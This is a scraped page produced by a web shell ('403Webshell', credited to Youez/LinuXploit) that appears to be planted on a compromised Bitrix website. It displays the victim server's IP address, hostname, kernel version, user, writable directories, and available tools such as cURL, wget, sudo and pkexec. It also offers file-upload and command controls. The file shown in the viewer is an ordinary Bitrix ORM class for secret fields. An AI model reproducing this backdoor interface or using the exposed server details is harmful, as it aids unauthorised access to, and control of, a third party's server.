403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/orm/fields/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/orm/fields/secretfield.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2018 Bitrix
 */

namespace Bitrix\Main\ORM\Fields;

use Bitrix\Main\Security;

class SecretField extends CryptoField
{
	protected $secretLength = 20;

	/**
	 * SecretField constructor.
	 * @param string $name
	 * @param array $parameters Can contain 'secret_length'.
	 */
	public function __construct($name, $parameters = [])
	{
		//the order of modifiers is important
		$this->addSaveDataModifier([$this, 'encode']);

		parent::__construct($name, $parameters);

		$this->addFetchDataModifier([$this, 'decode']);

		if(isset($parameters['secret_length']))
		{
			$this->configureSecretLength($parameters['secret_length']);
		}

		$this->configureDefaultValue([$this, 'getRandomBytes']);
	}

	/**
	 * @param int $length The length of the secret
	 */
	public function configureSecretLength($length)
	{
		if($length > 0)
		{
			$this->secretLength = (int)$length;
		}
	}

	/**
	 * Encodes binary data before save into DB.
	 * @param string $data
	 * @return string
	 */
	public function encode($data)
	{
		return base64_encode($data);
	}

	/**
	 * Decodes into binary data from DB.
	 * @param $data
	 * @return false|string
	 */
	public function decode($data)
	{
		return base64_decode($data);
	}

	/**
	 * @return string
	 */
	public function getRandomBytes()
	{
		return Security\Random::getBytes($this->secretLength);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit